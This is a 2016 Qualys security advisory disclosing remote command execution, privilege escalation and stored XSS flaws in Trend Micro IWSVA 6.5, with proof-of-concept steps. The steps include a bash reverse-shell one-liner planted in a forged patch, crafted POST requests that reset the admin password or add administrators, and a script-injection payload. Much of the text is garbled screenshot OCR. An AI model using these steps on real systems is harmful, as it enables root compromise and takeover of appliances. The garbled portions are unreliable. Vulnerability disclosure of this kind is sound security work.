Qualys Security Advisory QSA-2016-10-26

October 26, 2016

Multiple Vulnerabilities in Trend Micro Interscan Web Security Virtual Appliance (IWSVA) 6.5.x

SYNOPSIS:

TrendMicro Interscan Web Security Virtual Appliance (IWSVA) suffers from Remote Command Execution (RCE), Privilege Escalation and Stored Cross Site Scripting vulnerabilities.

Reference: http://downloadcenter.trendmicro.com/?prodid=86®s=NABU

VULNERABILITY DETAILS:

Lab Setup:

- 1. Target Hostname: TrendMicroIWSVA6.5SP2
- 2. Target IP Address: 192.168.253.150
- 3. Kali Machine IP: 192.168.253.136

Vulnerable/Tested Version:

Interscan Web Security Virtual Appliance version 6.5-SP2_Build_Linux_1707.Older versions are also affected.

NT • \$QL-XSS function Incoding: Other Logar URL	€ 0 192.16	5 8.253.150 :181	2/ind	ex.jsp?CSRFGuardToken=41CNR7CS6W2E	VZ8016POQTMTJWSHOSY4∑	c 🛞	Q Search	z	1 自 4	• ^	◙	≉ -	AB -	=
Logd URL Sple URL Sple URL Excute Excu	INT ~ -	SQL+ XSS+	Encry	ption- Encoding- Other-										
InterScar* Web Security Virtual Appliance Welcome.admin & Los off Lo	 ad URL b Split URL ▶ Execute 	Enable Doct d	iata [- Fnable Referrer										
System Status > Dashboard 4 Application Control Bandwidt Control + HTTP + Cogs Reports + Logs Reports + Updates OS Version Notifications Administration Audr Log Deployment Wizardc ² + NWXA Configuration Installed on ▼ * New Configuration Installed on ▼ * Nangement Console OS Patches System Maintenance System Status System System Status OS Patches System Status OS Patches System Status Installed on ▼ System Status OS Patches System Status Installed on ▼ <		InterScan [®] \	Web	Security Virtual Appliance				Welcom	2,admin 🚑	Log Off	_I 💽 -	Hel	lp	
 Application Control Bandwidth Control Bandwidth Control Bandwidth Control HTTP FTP Logs Reports Updates Outfications Administration Administration Administration Management Console Config Backup/Restore System Updates System Updates System Updates System Updates System Event Log Patch Member Patch Information IWSVA 6.5SP2 IWSVA 6.5SP2 Patch 1 Build 1707 IO/25/16 10:06:16 PM 	System Status Dashboard		^	System Updates									6	2
 FTP	 Application Con Bandwidth Cont HTTP 	ntrol trol		Select a Patch to Install Location: Browse No file selected.	Upload									
• Logs Application Version Application Version Last Updated • Updates • Updates 10/25/16 10:06:16 PM 10/25/16 10:06:16 PM • Administration • Vision • Vision • Vision • Vision • Vision • Multicog • Updates • Vision • Vision • Vision • Vision • Vision • Multicog • Vision • V	+ FTP			Current IWSVA Information										
Reports s.5.1321.el6.x86_64 c.5·SP2_Build_Linux_1707 10/25/16 10:06:16 PM • Updates Notifications - <td>+ Logs</td> <td></td> <td></td> <td>Host Name</td> <td>OS Version</td> <td>Ap</td> <td>plication Version</td> <td>L</td> <td>ast Updated</td> <td></td> <td></td> <td></td> <td></td> <td></td>	+ Logs			Host Name	OS Version	Ap	plication Version	L	ast Updated					
 • Updates Notifications Administration Administration Administration Administration Administration Administration Mission History History History Application Patches OS Patches Patch Information Installed on ▼ Patch Information Installed on ▼	Reports			TrendMicroIWSVA6.5SP2	3.5.1321.el6.x86_64	6.5	5-SP2_Build_Linux_1707	1	0/25/16 10:	06:16 P	м			
Notifications - Administration Audit Log Deployment Wizardc_^ • NEtwork Configuration • Network Configuration • Network Configuration • Management Console Config Backup/Restore System Updates System Values System Event Log Product Licensee Support Support	+ Updates		_											
Administration Audit Log Deployment Wizard;" + WSVA Configuration + Network Configuration + Management Console Config Backup/Restore System Updates System Updates System Event Log Product License Support Y Support	Notifications													
Audit Log Deployment Wizard_1 • WSVA Configuration • Network Configuration • Management Console Config Backup/Restore System Updates System Maintenance System Log Product License Support Y	– Administratio	on												
Deployment Wizard;" • WsvA Configuration • Network Configuration • Management Console Config Backup/Restore System Updates System Maintenance System Event Log Product License Support Y	Audit Log													
+ IWSVA Configuration + Network Configuration + Nanagement Console Config Backup/Restore System Updates Patch Member Patch Information Installed on ▼ Patch Information Patch Information Patch Information Installed on ▼	Deployment W	/izard 🗗												
+ Network Configuration + Management Console Config Backup/Restore System Updates System Updates System Vpdates System Vpdates System Event Log Product license Support Support v v spis03 UN3VA 6.5-SP2 Critical Path Build 1620 10/25/16 9:55:19 PM	+ IWSVA Config	guration												
	+ Network Conf	figuration		History										
Config Backup/Restore Application Patches OS Patches System Updates Patch Member Patch Information Installed on ▼ System Maintenance Patch 18/707 Uninstall IWSVA 6.5SP2 EN Patch 1 Build 1707 10/25/16 10:06:16 PM System Event Log hfb1622 IWSVA 6.5SP2 EN Patch 1 Build 1622 10/25/16 9:59:53 PM Support v spb1608 IWSVA 6.5-SP2 Critical Patch Build 1620 10/25/16 9:51:19 PM	+ Management	Console	-		X									
System Updates Patch Member Patch Information Installed on ▼ System Maintenance Patch Member Patch Information 10/25/16 10:06:16 PM System Event Log htp1622 IWSVA 6.5SP2 EN Patch 1 Build 1707 10/25/16 9:55:35 PM Product License cpb1620 IWSVA 6.5SP2 Chitcal Patch Build 1620 10/25/16 9:55:13 PM Support cpb1608 IWSVA 6.5SP2 Chitcal Patch Build 1620 10/25/16 9:44:12 PM	Config Backup,	Restore		Application Patches OS Patches										
System Maintenance Patch1 BJ707 Uninstall IWSVA 6.5SP2 EN Patch 1 Build 1707 10/25/16 10:06:16 PM System Event Log hth1622 IWSVA 6.5-SP2 Hot Fix Build 1622 10/25/16 9:59:53 PM Product License cb1620 IWSVA 6.5-SP2 Hot Fix Build 1620 10/25/16 9:55:19 PM Support v cp1630 IWSVA 6.5-SP2 Critical Patch Build 1620 10/25/16 9:55:19 PM	System Upda	ites		Patch Member	Patch Information			Insta	illed on 🔻					
System Event Log hfb1622 IWSVA 6.5-SP2 Hot Fix Build 1622 10/25/16 9:59:53 PM Product License cpb1620 IWSVA 6.5-SP2 Critical Path Build 1620 10/25/16 9:55:19 PM Support v cpb1608 IWSVA 6.5-SP2 Critical Path Build 1608 10/25/16 9:44:12 PM	System Mainte	enance		Patch1 B1707 Uninstall	IWSVA 6.5SP2 EN Patch 1 Build 1707			10/2	5/16 10:06:	16 PM				
Product License cpb1620 IWSVA 6.5-SP2 Critical Patch Build 1620 10/25/16 9:55:19 PM Support cpb1608 IWSVA 6.5-SP2 Critical Patch Build 1620 10/25/16 9:44:12 PM	System Event	Log		hfb1622	IWSVA 6.5-SP2 Hot Fix Build 1622			10/2	5/16 9:59:5	3 PM				
Support v cpb1608 IWSVA 6.5-SP2 Critical Path Build 1608 10/25/16 9:44:12 PM	Product License	e		cpb1620	IWSVA 6.5-SP2 Critical Patch Build 162	0		10/2	5/16 9:55:1	9 PM				
	Support		~	cpb1608	IWSVA 6.5-SP2 Critical Patch Build 160	8		10/2	5/16 9:44:1	2 PM				

Note: All the vulnerabilities mentioned in this report were tested with a least privileged user account 'test'. This user has '**Reports Only**' role assigned.

🚻 Apps 🔺 Bookmarks 🔘	Qualys Single	Sign On 🛛 🚺 Ne	etSuite Login 🏻 🗋	Qualys Supp	ort Tranin 🛛 🔯 BugZilla bugs.intranet	🕒 Bookmarks Page	🖹 Bookmarks	Portals	📋 Importe
	[™] Web Se	ecurity Virtua	al Appliance						Welcome, ad
₽ Search	Log	gin Accounts				2			
System Status		Add 🍿 Delete							
Dashboard	10	Username	User Type	Rolename	Description				
Application Control		admin	Local	MasterAdminRole	Master Administrator				
+ Bandwidth Control		test	Local	Reports only	Testliser				
+ HTTP									
+ FTP									

Vulnerability 1: Remote Command Execution (RCE)

An authenticated remote user with least privilege/role (a user with 'Reports only' role) can gain a '**root**' shell on the system.

<u>Risk Factor</u>: High

Impact:

An attacker with low privileges can abuse the **Patch Installation** functionality to execute commands on the system remotely and gain a '**root**' shell.

CVSS Score: AV:N/AC:L/AU:S/C:C/I:C/A:C

Proof-Of-Concept:

- 1. Log into IWSVA web console with least privilege user 'test'.
- 2. Note down 'CSRFGuardToken' and 'JSESSIONID' values for this session.

	.812/index.jsp? <mark>CSRFGuardToken=Q4RJM47</mark> ncryption- Encoding- Other-	H7AMG3RU792A4YWXTH	8JFIZQP&st C		Q 89829FF6E300E771B0ADC81 → ☆ 自 ↓ 1	♥ 轢 - ⊕-	= _ _ +
Enable Post d	a 🔲 Enable Referrer						
TREND. InterScan [™] V	/eb Security Virtual Appliance				Welcome,test 🔒 Log (<u>Dff 🛜Help</u>	V P
₽ Search					<u>To</u> <u>Reset to Defaul</u>	al Ransomware Detections t Dashboard - Add Widget	
System Status	Top URL Categories Accessed		13:46:34	То	on lisers blocked by internet security	13:46:34	R
Dashboard			15110151		poses blocked by memer security		c
+ Logs	All V Today				All V Today V 5 V		U
Reports	- No Data was round for selected parame	iters.			NO Data was round for selected parameters		- - -
🕞 🗘 Inspector 🕞 Consc	e ① Debugger {} Style Editor ② Pe	rformance 🗦 Network					e × c
	XHR Fonts Images Media Flash	WS Other			2068 requests, 4,149.86 KB, 2,024.83 s	Q. Filter URLs	
All HIML CSS JS		Demain	Caura	÷	Request Headers:		-
Status Method	File	Domain	Cause	lvpe			
Status Method	File	192.168.253.150:1812	document	html	A Host: 192.168.253.150:1812		
Status Method 302 POST uilogons	File Jbmit.jsp 🖉	192.168.253.150:1812	document	html	 Host: 192.168.253.150:1812 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) G Accent: text/html application/vhtml+vml application/vml/g=0 	ecko/20100101 Firefox/49.0	c
Status Method 302 POST uilogons POST uilogons 200 GET index isr	File Jbmit.jsp File State Space Spac	192.168.253.150:1812 192.168.253.150:1812	document document	lype html	 Host: 192.168.253.150:1812 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) G Accept: text/html,application/xhtml+xml,application/xml;q=0. Accept-Language: en-US,er;q=0.5 	ecko/20100101 Firefox/49.0 9,*/*;q=0.8	
Status Method 302 POST uilogons 200 GET index/sp 200 GET index/sp	File File Shirtijsp Shirtijsp Shirtijsp Shirtijsp Shirtijsp Schere (SRFGuardToken=Q4RJM47H7AMG3RU792 SGR Shirtijsp Shirtijs	192.168.253.150:1812 192.168.253.150:1812 192.168.253.150:1812 192.168.253.150:1812	document document document	html html	 Host: 192.168.253.150:1812 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) G Accept: text/html,application/xhtml+xml,application/xml;q=0. Accept-Language: en-US_en;q=0.5 Accept-Encoding: gzip, deflate 	ecko/20100101 Firefox/49.0 9,*/*;q=0.8	
All PI ML CS JS Status Method	File File	192.168.253.150:1812 192.168.253.150:1812 192.168.253.150:1812 192.168.253.150:1812 192.168.253.150:1812 192.168.253.150:1812	document document document subdocument	lype html html html	 Host: 192.168.253.150.1812 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) G Accept: text/html,application/xhtml+xml,application/xml;q=0. Accept-Language: en-US_en;q=0.5 Accept-Encoding: gzip, deflate Referen.http://192.168.253.150.1812/L0gon.jsp Cookie: JSSIONID=84C0568089829FF6E300E771B0ADC81 	ecko/20100101 Firefox/49.0 9,*/*;q=0.8	
Image: Name PIAN CSS JS 302 POST uilogon uilogon 200 GET indexjsp 200 GET topjsp 200 GET topjsp 200 GET teftjsp 200 GET teftjsp 200 GET teftjsp	File File Jabmit.jsp 2 Stranger Strange	1 192.168.253.150:1812 192.168.253.150:1812 192.168.253.150:1812 192.168.253.150:1812 192.168.253.150:1812 192.168.253.150:1812	document document document subdocument subdocument	html html html html html	Host: 192.168.253.150:1812 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) G Accept: text/hml.application/html+xml.application/xml;q=0. Accept-Language: en-US_er;q=0.5 Accept-Language: en-US_er;q=0.5 Accept-Langu	ecko/20100101 Firefox/49.0 9,*/*;q=0.8	

- 3. Download a product patch from TrendMicro download center: http://downloadcenter.trendmicro.com/?prodid=86®s=NABU
- 4. I downloaded 'iwsva-65-sp2-ar64-en-cpb1620.tgz' and renamed it to 'iwsva-65-sp2-ar64-en-cpb1624.tgz' just to indicate a higher patch.
- 5. Open this file in Archive Manager and locate 'stargate_patch_apply.sh' shell script.
- 6. Edit this script and remove all the code and add a bash one liner reverse shell.

Extract + starga	te_patch.tgz	Q =	×
< > 🔂 Location: 🔳 /			
Name	Size 👻	Туре	Modified
files 👘	12.9 MB	Folder	28 Decembe
#i stargate_patch_apply.sh	57 bytes	shell script	27 October .
#『 stargate_patch_common.sh	3.0 kB	shell scri <mark>p</mark> t	22 July 201.
Open 🕶 🖪	starga ~/	ate_patch_ap .cache/.fr-tWBYA	ply.sh
#!/bin/sh			
bash -i >& /dev/tcp/192.168.2	53.136/443 0>&1		

Here, 192.168.253.136 is Kali machine's IP address which is listening on port#443 for reverse shell.

7. Now edit the 'stargate_patch.ini' file to update build versions from 1620 to 1624. This may not be necessary but I preferred to update the file anyway.

Extract +	stargate_patch.tgz	Q =	x x					
< > ✿ Location:	i /							
Name files	Open 🖌 🕞		stargate_patch.ini ~/.cache/.fr-GYU2eL	Save] =	0	•	3
<pre>#! stargate_patch_apply.sh #! stargate_patch_common.sh #! stargate_patch_rollback.sh #! patch_action_extra.sh a stargate_patch.ini #! ini_util.sh</pre>	<pre>#Unless otherwise specif [PatchInfo] #The patch identifier Number=cpb1624 #Build number of this pa Build=1624 #Patch Type (App or OS) PatchType=application #Our build script will f Title=IWSVA 6.5-SP2 Crit Description=IWSVA 6.5-SP 1624. bl224.<br< td=""><th>ied, it's a re tch. Patch wo ical Patch Bui 2 Critical Pat the critical formation that opics include -SP2 Critical DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD</br></br></br></br></br></br></br></br></th><td>duired field. n't be applied to build equi- ld 1624 ch Build 1624 updates the I patch readme for details. b is not found in the online a description of fixes, ins Patch DDD 1624 DDIWSVADDDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD</br></br></br></br></br></br></br></td><td>al to or newer th WSVA software to r>tor> This docum or printed tallation/uninsta 1624 000000000000000000000000000000000000</br></br></br></br></br></td><th>ouild ont con llation J <</br></br></br></br></th><th>s ntain n, 10000</br></br></th><th>s 10000</th><td></td></br<></br></br></br></br></br></br></br></br></br></br></br></br></br></br></br></br></pre>	ied, it's a re 	duired field. 	al to or newer th 	ouild 	s 	s 10000	

- 8. This changes the MD5 hash of 'stargate_patch.tgz' file and it seems that there is a server side validation wherein server computes the file hash and checks if it matches with the one that is there in 'MD5SUM.txt' file. This 'MD5SUM.txt' file is in the same 'iwsva-65-sp2-ar64-en-cpb1624.tgz' patch update file.
- 9. Calculate the MD5 hash of 'starget_patch.tgz' file as it's been modified and put it in 'MD5SUM.txt' file.



10. Create a 'patch_upload.html' which is a file upload form and put it in document root on Kali machine.



11. Open a new browser tab and access this page. Select the 'iwsva-65-sp2-ar64-en-cpb1624.tgz' to upload.

٩
-

- 0	×	🛃 Burp Suite Free Edition v1.6.32 — 🗆 🗙
Trend Micro InterS X O Connecting X http://192.168.253 X +		Burp Intruder Repeater Window Help
(€) ◆ ① 192.168.253.136/patcl ▼ × ● Q 89829FF6EE → ☆ 自 ↓ ★ ≫	≡	Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Options Alerts
INT V = • SQL- XSS- Encryption- Encoding- Other-		Intercept HTTP history WebSockets history Options
Logd URL		Request to http://192.168.253.150.1812
Execute		Forward Drop Intercept is on Action Comment this item
Enable Post data Enable Referrer		Raw Params Headers Hex
Select patch to upload: Browse wwwa_65_sp2_ar64_en_criticalpatch_b1624.1gz Upload Patch		<pre>Bost: US:160:251.100:1012 Bost:4pet: No:114/5.0 (Vindows NT 10.0; VOV64; rv;45.0) Gecko/20100101 Firefox/45.0 Accept-Language: en-US:enrq0.5 Accept-Encoding: gip, deflate Peters: Lext/html,application/xhtml+xml,application/xml;qm0.9,*/*;qm0.8 Accept-Encoding: gip, deflate Peters: Lext/html,application/xhtml+xml,application/xml;qm0.9,*/*;qm0.8 Accept-Encoding: gip, deflate Peters: Lextropy: Sol.136/patch_upload.html Peters: Lextropy: Sol.136/patch_upload.html Connection: close Upgrade-Insecure=Requests: 1 Content-Type: multipatc/form-data; boundary=71772542910375 Content-Lextropic: Agr/Sol0 </pre>
		ОШ-восучицШОСОВАТТАНОКОБТ**!2800; kp3, Geuör (GouCDODDE) HYTRe; bm#s=32-; AOOOO) (; e) e(0) (Gou GS:ehe; you e() c-abp (:*, Bery(ch You, y, C, @) (**-OfyntakubwGyeyr) (brc; > StO=0) De ** DOB (: N*EDB) ; U*YVY*-m) (ΣΤΟΝιάδ-c ΙΌKVZC 3) (*- ABDNs etag; March - De Stability (#) (**) (**) (**) (**) (**) (**) (**)
		"AUD'1≪1E11="01+\02U #E14\+-+A0\UO'UYYYE1;(Uz-0T\$#ETU]_UUUYWAFNDDDU'\00EmbdQ1[0606E0ddeA51D0DV'\(1_0ENO6Q%\ ¹² Z*4AE Y0E8A`FDU*ALAE1`* efet0e-60Tb1''*0*ECU



<u>Note:</u> The Session ID cookie was automatically sent as the 'test' user was already logged in another browser tab. Also, this POST request to apply/update the patch usually has 'CSRFGuardToken' in the POST body but removing it does NOT prevent you from uploading the patch.

12. Got root shell on Kali machine.

Go Cancel < Y > Y	Target: http://192.168.253.150	:1812 🖉 ?
Request	Response	
Raw Params Headers Hex	Raw Headers Hex	
POST /seviet/com.trend.tws.qui.sevviet.ManagePatches?action=upload HTTP/1.1 Bost: 92.10.203.150:101 Bost: Patt Bost1MS.203.150:103 Bost: Patt Bost1MS.203.150:103 Bostpet: text/balagplication/thmsHwnl,application/mslrq=0.5,7/*rq=0.8 Accept-Languaget se-155.enzq=0.5 Accept-Languaget se-155.enzq=0.5 Accept-Languaget se-155.enzq=0.5 Accept-Languaget se-155.enzq=0.5 Accept-Languaget se-155.enzq=0.5 Accept-Languaget se-155.enzq=0.5 Accept-Languaget se-155.enzq=0.5 Accept-Languaget se-155.enzq=0.5 Accept-Language setts/sett	Kali-Linux-2016.1-vm-amd64 - VMvare Workstation 12 Player (Non-commercial use only) - X Player v v ← 12 □	ĺ
Upgrade-Insecure-Requests: 1		
Content-Length: 4678942	Applicadolis V Praces V La Terminal V Ind 05/24	
312391372929971	root@kail:~ 😅 🙂 🕲	
Content-Disposition: form-data: name="op"	File Edit View Search Terminat Help	
	<pre>listering on [any] 443 connect to [192,168,233,136] from (UMKNOWN) [192.168.253.150] 20066 bash:-a.jb control in this shell bash-4.jb hostname nostname TreendircollSVA6.35P2 bash-4.jb id id uid0(root) gis-0(root) groups=0(root),499(iscan) bitcontig ifcontig inter addr:120.168.253.150 Beast:192.168.253.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:60381 errors:0 Beast:192.158.253.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:60381 errors:0 dropped:0 overruns:0 frame:0 TX packets:47218 errors:0 dropped:0 overruns:0 frame:0 RX bytes:50096219 (43.3 M18) TX bytes:15463930 (14.7 M18) Link encap:1ceal Loopback.00.0 UP DOPBACK RUNNING MULTICAST Metric:1 RX packets:209784 errors:0 dropped:0 overruns:0 frame:0 TX packets:290784 errors:0 dropped:0 overruns:0 farme:0 TX packets:290784 err</pre>	>
? < + > Type a search term 0 matche	is ? < + > Type a search term	0 matches
Waiting		

Vulnerability 2: Privilege Escalation via 'UpdateAccountAdministration' functionality

An authenticated remote user with least privilege/role (a user with 'Reports only' role) can change Master Admin's password.

<u>Risk Factor</u>: HIGH

Impact:

An attacker with low privileges can change Master Admin's password by sending a specially crafted POST request. An attacker can then have full control over the system.

CVSS Score: AV:N/AC:L/AU:S/C:C/I:C/A:C

Proof-Of-Concept:

- 1. Log into IWSVA web console with least privilege user 'test'.
- 2. Note down 'CSRFGuardToken' and 'JSESSIONID' values for this session.
- 3. Send following POST request using BurpSuite Repeater with '**CSRFGuardToken**' and '**JSSESSIONID**' values obtained earlier. Follow redirections in BurpSuite to complete the request.

POST /servlet/com.trend.iwss.gui.servlet.updateaccountadministration HTTP/1.1 Host: 192.168.253.150:1812 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: JSESSIONID=74E908C13F35F3F7106B79CE29FCBE04 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 306

CSRFGuardToken=7BO2MDAZJ149G52PRMMJDSARHQL6TFYE&accountop=review&allaccount= admin&allaccount=hacker2&allaccount=hacker4&allaccount=hacker&allaccount=test&accountname= admin&commonname=admin&accounttype=0&password_changed=true&PASS1=cba123&PASS2= cba123&description=Master+Administrator&role_select=0&roleid=0

4. Master Admin's password updated successfully.



5. Log into IWSVA web console as 'admin' and new password 'cba123' to confirm if it works.

Vulnerability 3: Privilege Escalation via 'UpdateAccountAdministration' functionality

An authenticated remote user with least privilege/role (a user with 'Reports only' role) can add a privileged user with Administrator role.

<u>Risk Factor: HIGH</u>

Impact:

An attacker with low privileges can gain administrative privileges by sending a specially crafted POST request. An attacker can then have full control over the system.

CVSS Score: AV:N/AC:L/AU:S/C:C/I:C/A:C

Proof-Of-Concept:

1. Log into IWSVA web console with least privilege user 'test'.

• 192.168.253.150:	1812/index.jsp?CSRFGuardToken=CDRY1LS9HJKW17BHGLETHB2JWK	ZIVL83&summa 🔹 🛛 🤁		* * • * * =
TREND InterScar	"Web Security Virtual Appliance		Welcome,test 🖓	Log Off 🕜Help 🗸
₽ Search			Reset to D	efault Dashboard - Add Widget 🔽
System Status	Top URL Categories Accessed	22:29:16	Top Users blocked by internet security	22:29:16
Dashboard	All ~ Today ~ 5 ~	a 👔 🚷	All v Today v 5 v	🔒 🕒
Password	No Data was found for selected parameters		No Data was found for selected parameters	<u> </u>
+ Logs				
Reports				

2. Note down 'CSRFGuardToken' and 'JSESSIONID' values for this session.

2																9	
Search													Re	eset to Def	ault Dasi	hboard	- Add Wide
System Status	Тор	URL Categorie	s Accessed	ł			22:	30:17 0 0	Тор	p Users bloc	ked by interne	t security				22:	30:16
Dashboard		All	~	Today	v 5 ·	~		1		All	~	Today	~ 5	~			
Password	No	o Data was four	nd for seled	ted parame	ters				N	lo Data was	found for selec	ted paran	neters				
+ Logs																	
Reports	p Suite Free Edition v ntruder Repeater	v1.6.32 Window Help)											-		×	
Target	t Proxy Spide	r Scanner	Intruder	Repeater	Sequencer	Decoder	Comparer	Extender	Option	s Alerts							
Interce	ept HTTP histor	y WebSocke	ets history	Options							L						-
Rev Raw	equest to http://19. prward Params Heade	2.168.253.150: Drop	:1812 Intercept	t is on	Action								Comment th	is item		?	
GET /i: Host: User-A Accept Accept Refere: Conkie Conkie Congrad Pragma Cache-	ndex.jsp?CSRF 192.168.253.1 gent: Mozilla : text/html,a -Language: en -Encoding: gz : JSESSIONID= tion: close e-Insecure-Re : no-cache Control: no-c	GuardToken= 50:1812 //5.0 (Windo pplication, -US, en; q=0 ip, deflate .168.253.11 89402168052 equests: 1 cache	=CDRY1LS ows NT 1 /xhtm1+x .5 e 50:1812/ 2E87AAD9	9HJKW17B 0.0; WOW ml,appli 10gon.js; 8742A15E	GLETHB2JW 54; rv:49. cation/xml 9 868856	(K2IVL83 0) Gecko ;q=0.9,	summary_s /20100101 //*;q=0.8	can HTTP/	1.1							Ă	

3. Send following POST request using BurpSuite Repeater with '**CSRFGuardToken**' and '**JSSESSIONID**' values obtained earlier. Follow redirections in BurpSuite to complete the request.

POST /servlet/com.trend.iwss.gui.servlet.updateaccountadministration HTTP/1.1 Host: 192.168.253.150:1812 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: JSESSIONID=B94C216BD52E87AAD98742A15E86BB56 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 292 CSRFGuardToken=CDRY1LS9HJKW17BHGLETHB2JWKZIVL83&accountop=add&allaccount= 5. It shows user 'hacker' added successfully.

6. Now log into IWSVA web console as admin from another browser and check to see if user 'hacker' has been added successfully.

← → C (i) 192.168.25	53.150:1812	/index.jsp?(CSRFGuardToken=6	GENJXRB803X12	LK7IK7QYJU83G7XABN&summa	ry_scan			☆	0
🗰 Apps 🔺 Bookmarks 🔘	Qualys Single	e Sign On 👖	NetSuite Login 📋	🛿 Qualys Suppo	ort Tranin 🛛 🖾 BugZilla bugs.intranet	🕒 Bookmarks Page	🗋 Bookmarks 🧰	Portals 🦳 Imported		1
TREND InterScan	™ Web Se	ecurity Vi	rtual Appliance					Welcome, admin	<u>Log Of</u>	ff. 🕗
P Search	Lo	gin Accou	nts			2				
System Status		Add 🏛 De	elete							
Dashboard		lisername	User Type	Rolename	Description					
+ Application Control	1	admin	Local	MasterAdminRele	Master Administrator					
+ Bandwidth Control		admin 2	Local	Administer	ad-i-a					
+ HTTP		auminz	Local	Administrator	Adminiz					
+ FTP		test	Local	Reports only	TestUser					
+ Loas		all see and								

Vulnerability 4- Stored Cross-Site Scripting (XSS) in 'UpdateAccountAdministration' functionality

An authenticated remote attacker can inject a Java script while creating a new user that results in a cross-site scripting attack.

<u>Risk Factor</u>: Medium

Impact:

An attacker with low privileges can inject malicious Java script by sending a specially crafted POST request to add a new user (which he shouldn't be able to as per **Vulnerability#1** mentioned above).

Vulnerable Parameters:-

- a. Accountnamelocal
- b. Description

Note: Other parameters may be vulnerable.

CVSS Score: AV:N/AC:L/AU:S/C:C/I:C/A:C

Proof-Of-Concept:

- 1. Log into IWSVA web console with least privilege user 'test'.
- 2. Note down 'CSRFGuardToken' and 'JSESSIONID' values for this session.
- 3. Send following POST request using BurpSuite Repeater with '**CSRFGuardToken**' and '**JSSESSIONID**' values obtained earlier. Follow redirections in BurpSuite to complete the request.

POST /servlet/com.trend.iwss.gui.servlet.updateaccountadministration HTTP/1.1 Host: 192.168.253.150:1812 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: JSESSIONID=B94C216BD52E87AAD98742A15E86BB56 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 292 CSRFGuardToken=CDRY1LS9HJKW17BHGLETHB2JWKZIVL83&accountop=add&allaccount=admin accountType=local&accountnamelocal=hacker4"><script>alert(111)</script>&accountype=0& password_changed=true&PASS1=pass1234&PASS2=pass1234& description=hacker4"><script>alert(111)</script>&acle_14

- 4. It shows user 'hacker4' added successfully.
- 5. Now log into IWSVA web console as admin from another browser and check to see if user 'hacker4' has been added successfully and Java script executes.

Trend Micro InterScan We >	×						
((i) 192.168.253.150:1812	2/index.jsp?CSRFGuardTol	ken = DK2PEO6	I5D9NH72DOPWL	Y3QPKF9PA3L0&summ	C 🔹	Q Search	☆ 自 ♣
MILEND InterScan™ V	Veb Security Virtual	Appliance					Welcome,admin 🚑 🗠
P Search	Login Accounts				2		
System Status	Add m Delete						
Dashboard	Username	Licer Type	Polename	Description			
+ Application Control	admin	Local	MasterAdminBole	Master Administrator			
+ Bandwidth Control	admin2	Local	Administrator				
+ HTTP	hacker	Local	Administrator	10000	- 1		
+ FTP				111	- 1		
+ Logs	"> ">hacker2">	Local	Administrator				
Reports				li line			
+ Updates					ок		
Notifications							
- Administration	-						
Audit Log							

TREND InterScar	web Security Virtual	Appliance			Welcome ad	min @	Log O
2 ******		11			 welcome,au		
P Search	Login Accounts			2			
System Status	Add m Delete						
Dashboard		Licer Type	Polename	Description			
Application Control		Local	Martachder	inRola Mactor Administrator			
Bandwidth Control	admin?	Local	Adminis				
HTTP		Local	Adminis	111			
FTP		Cocai	Aurninis	Prevent this nage from creating additional dialogs			
Logs	" > ">hacker2">	Local	Adminis				
Reports							
Updates	" >			OK			
Notifications							
Administration	and the second se						
Audit Log		10. <u>19</u> 11 - 1911 - 19		the set of the set of the set of the set	 		a
				a se E sould as			
 Interpretation Interpretation<td>:1812/index.jsp?CSRFGuardTol</td><td>ken=DK2PEO6I</td><td>5D9NH72D0</td><td>DPWLY3QPKF9PA3L0&summ 🔻 🧉 🤹 🔍 Search</td><td>☆自</td><td>+</td><td>î</td>	:1812/index.jsp?CSRFGuardTol	ken=DK2PEO6I	5D9NH72D0	DPWLY3QPKF9PA3L0&summ 🔻 🧉 🤹 🔍 Search	☆自	+	î
	na Web Security Virtual	Appliance					
MICRO HILEIOCA	IT Web Security virtual	Appliance			Welcome, admir	י 🖓 🗉	og Off
₽ _{Search}	Login Accounts			2			
Svetam Status	Add 🏛 Doloto						
System Status	Add Delete						
Dashboard		User Type	Rolename	Description			

MasterAdminRole Master Administrator

hackerUser

TestUser

hackerUser">

hackerUser4">

Administrator Admin2

Administrator

Administrator

Administrator

Reports only

admin

">hacker2">

>hacker4">

admin2

hacker

test

Local

Local

Local

Local

Local

Local

CREDITS:

+ Bandwidth Control

+ HTTP

+ FTP

+ Logs

Reports

+ Updates

Notifications

The discovery and documentation of this vulnerability was conducted by Kapil Khot, Qualys Vulnerability Signature/Research Team.

CONTACT:

For more information about the Qualys Security Research Team, visit our website at http://www.qualys.com or send email to research@qualys.com

LEGAL NOTICE:

The information contained within this advisory is Copyright (C) 2016 Qualys Inc. It may be redistributed provided that no fee is charged for distribution and that the advisory is not modified in any way.